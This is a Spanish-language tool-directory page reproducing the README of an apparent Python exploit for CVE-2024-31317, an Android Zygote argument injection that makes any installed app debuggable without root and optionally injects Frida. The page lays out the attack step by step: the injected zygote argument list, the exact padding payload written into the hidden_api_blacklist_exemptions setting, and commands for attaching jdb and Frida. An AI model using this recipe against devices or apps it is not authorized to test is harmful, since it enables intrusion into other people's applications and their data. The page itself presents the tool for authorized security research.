Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit de aplicación depurable | Kitploit
Herramientas/GitHubGitHub/cleov2/debuggable-app-exploit
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónFuzzingSeguridad MóvilAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit de aplicación depurable

Ver Repositorio
123hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-31317 Exploit de Aplicación Depurable

Un exploit basado en Python para CVE-2024-31317 (Inyección de Zygote en Android) que hace que cualquier aplicación Android instalada sea depurable inyectando argumentos maliciosos de zygote a través del ajuste hidden_api_blacklist_exemptions. Incluye inyección opcional de gadget de Frida para hooking en tiempo de ejecución.

Resumen

Este exploit aprovecha una vulnerabilidad de inyección de comandos en el proceso Zygote de Android para iniciar aplicaciones de destino con la bandera debuggable habilitada. Esto permite la depuración e inspección JDWP de cualquier aplicación sin necesidad de acceso root ni de la versión de depuración de la aplicación.

Basado en la investigación de: Análisis de CVE-2024-31317 por Flanker

Insight clave: "el campo runtime-flags en ZygoteArguments se puede usar para habilitar el atributo debuggable de una aplicación."

Características

  • Modo de detección automática - Detecta automáticamente el UID, el conjunto de instrucciones y el directorio de datos de la aplicación objetivo.
  • Inyección de bandera depurable - Establece runtime-flags=65535 para habilitar la depuración.
  • Reenvío JDWP - Configura automáticamente el reenvío de puertos JDWP después del exploit.
  • Inyección de gadget de Frida - Opcionalmente inyecta Frida para hooking en tiempo de ejecución a través de JDWP.
  • Puntos de interrupción inteligentes - Utiliza puntos de interrupción fiables que se activan automáticamente sin interacción del usuario.
  • Instalación automática de la aplicación de depuración - Instala la aplicación auxiliar si no está presente.

Requisitos

  • Dispositivo Android vulnerable a CVE-2024-31317 (parche de seguridad anterior a junio de 2024)
  • ADB instalado y depuración USB habilitada
  • Python 3.10+
  • Paquetes requeridos: ppadb, jdwplib

Instalación

Coloque los siguientes archivos en el mismo directorio:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Script principal del exploit
├── jdwplib.py                       # Biblioteca cliente JDWP
├── app-debug.apk                    # Aplicación auxiliar depurable
├── frida-gadget-android-*.so        # Gadget de Frida (opcional)
├── frida-gadget.config.so           # Configuración de Frida (opcional)
└── win32/adb.exe                    # Binario ADB para Windows

Uso

Uso básico

root@kitploit:~
python CVE-2024-31317-Debuggable.py

El script le pedirá que seleccione un modo de detección de parámetros:

root@kitploit:~
==================================================
  Exploit CVE-2024-31317
==================================================

[1] Detectar parámetros automáticamente
[2] Valores predefinidos

Modo (1/2) [1]:

Qué hace

  1. Fase 1: Extraer startSeq

    • Inicia una aplicación auxiliar depurable
    • Se conecta vía JDWP y extrae el valor de startSeq de los marcos de pila
    • Cierra la aplicación auxiliar
  2. Fase 2: Inyectar argumentos de Zygote

    • Construye argumentos maliciosos de zygote con runtime-flags=65535 (depurable)
    • Inyecta la carga útil en el ajuste hidden_api_blacklist_exemptions
    • Detiene y reinicia forzosamente la aplicación objetivo con los argumentos inyectados
  3. Fase 3: Post-explotación

    • Configura el reenvío de puertos JDWP
    • Opcionalmente inyecta el gadget de Frida para hooking en tiempo de ejecución

Ejemplo de salida

root@kitploit:~
==================================================
  Exploit CVE-2024-31317
==================================================

[1] Detectar parámetros automáticamente
[2] Valores predefinidos

Modo (1/2) [1]: 1

[INFO] Fase 1: Extraer startSeq
[INFO] com.debug.app ya está instalado
[INFO] Configurando depurable
[INFO] Iniciando com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Puerto JDWP: 8700
[INFO] Suspendiendo VM
[INFO] Escaneando 42 marcos
[INFO] startSeq: 123456
[INFO] Fase 2: Explotar com.debug.configurator
[INFO] Detectando parámetros para com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Carga útil: 8765 bytes
[INFO] Reiniciando objetivo
[INFO] Hecho
[INFO] PID objetivo: 23456
[INFO] JDWP: 8701

¿Inyectar Frida? (y/N):

Configuración

Aplicación objetivo

Edite las constantes en la parte superior del script:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Change to your target package
DEBUG_APP = "com.debug.app"            # Helper debuggable app
DEBUG_APK = "app-debug.apk"            # APK file for helper app

Detección automática vs Valores predefinidos

Modo de detección automática (recomendado):

  • Usa pm list packages -U para obtener el UID
  • Usa dumpsys package para obtener el conjunto de instrucciones y el directorio de datos
  • Más fiable en diferentes dispositivos

Modo de valores predefinidos:

  • Usa valores predeterminados (UID=10242, arm64, etc.)
  • Más rápido pero menos fiable si el dispositivo difiere de los valores predeterminados

Inyección de gadget de Frida

Después de que el exploit tenga éxito, puede inyectar opcionalmente el gadget de Frida:

root@kitploit:~
¿Inyectar Frida? (y/N): y

El script:

  1. Empuja frida-gadget.so a /data/local/tmp/
  2. Copia al directorio de datos de la aplicación mediante run-as
  3. Establece un punto de interrupción y carga el gadget vía JDWP
  4. Reenvía los puertos 27042 y 27043

Destinos de puntos de interrupción

El script prueba estos puntos de interrupción en orden de fiabilidad:

Los puntos de interrupción superiores deberían activarse automáticamente. Si expiran, toque la aplicación para activar los puntos de interrupción de respaldo.

Conexión a Frida

Después de una inyección exitosa:

root@kitploit:~
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

Después de la explotación

Una vez que el exploit tiene éxito, la aplicación objetivo se ejecuta con la depuración habilitada:

  1. Conectar con el depurador JDWP:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Usar el depurador de Android Studio - Adjuntar al proceso en el puerto reenviado

  3. Usar Frida - Si se inyectó el gadget mediante el script

Cómo funciona

Resumen de la vulnerabilidad

CVE-2024-31317 es una vulnerabilidad de inyección de comandos en el proceso Zygote de Android. Al manipular el ajuste del sistema hidden_api_blacklist_exemptions con una entrada especialmente diseñada, podemos inyectar argumentos arbitrarios de zygote cuando se inicia una aplicación.

Componentes clave

  1. Extracción de startSeq: Cada inicio de aplicación tiene un número de secuencia único. Lo extraemos de una aplicación depurable vía JDWP inspeccionando las variables del marco de pila.

  2. Construcción de la carga útil: Construimos argumentos de zygote que incluyen:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Habilita todas las banderas de depuración
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Inyección: La carga útil se inyecta en el ajuste del sistema con un relleno específico para Android 12+:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Disparador: Detener forzosamente y reiniciar la aplicación objetivo, que se inicia con nuestros argumentos inyectados y la bandera depurable habilitada.

Inyección de Frida vía JDWP

La inyección de Frida funciona:

  1. Conectándose a la aplicación depurable vía JDWP
  2. Estableciendo un punto de interrupción en un método llamado frecuentemente
  3. Cuando se alcanza el punto de interrupción, usando Runtime.load() para cargar la biblioteca compartida del gadget de Frida
  4. El gadget se inicializa y comienza a escuchar en el puerto 27042

Limitaciones

  • Solo funciona en dispositivos vulnerables a CVE-2024-31317 (parche de seguridad anterior a junio de 2024)
  • No es un exploit de root - solo proporciona acceso depurable a la aplicación objetivo
  • La inyección de Frida requiere que la aplicación se esté ejecutando y alcanzando puntos de interrupción
  • Algunas aplicaciones fuertemente ofuscadas pueden resistir el hooking de Frida

Solución de problemas

"Error al obtener startSeq"

  • Asegúrese de que la aplicación de depuración esté correctamente firmada e instalable
  • Intente ejecutar el exploit nuevamente

"No se alcanzó ningún punto de interrupción" durante la inyección de Frida

  • Toque la aplicación para activar los puntos de interrupción de toque/dibujo
  • Asegúrese de que la aplicación esté en primer plano

Conexión de Frida rechazada

  • Verifique el reenvío de puertos: adb forward --list
  • Vuelva a ejecutar el reenvío de puertos: adb forward tcp:27042 tcp:27042

Créditos

  • Flanker (flanker017) - Investigación original y análisis detallado de CVE-2024-31317
  • typlo - Fragmentos de código para encontrar startSeq mediante inspección JDWP
  • Anonymous941 - Implementación de referencia del toolkit de inyección de Zygote
  • Meta X Red Team - Descubrimiento y divulgación original de la vulnerabilidad

Referencias

  • Análisis detallado de CVE-2024-31317 - Flanker
  • Aviso de seguridad de Meta
  • Informe de InfoSec
  • Toolkit de inyección de Zygote de Anonymous941
  • Documentación de Frida

Descargo de responsabilidad

Esta herramienta es solo para fines educativos y de investigación de seguridad autorizada. Úsela únicamente en dispositivos que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal y no ético. Los autores no se hacen responsables del mal uso de esta herramienta.

Licencia

Licencia MIT - Consulte el archivo LICENSE para obtener más detalles.

Descargar herramienta
ClaseMétodoActivación
android.os.MessageQueuenextAutomático - el looper principal sondea constantemente
android.os.BinderexecTransactAutomático - cualquier llamada IPC/binder
android.app.ActivityThreadhandleMessageAutomático - el manejador principal de la app
android.os.HandlerdispatchMessageAutomático - envío de mensajes
android.os.HandlerhandleMessageAutomático - manejo de mensajes
android.view.ChoreographerdoFrameAutomático - callbacks de fotogramas
android.view.ViewdispatchTouchEventManual - requiere toque
android.view.ViewonDrawManual - requiere redibujado de UI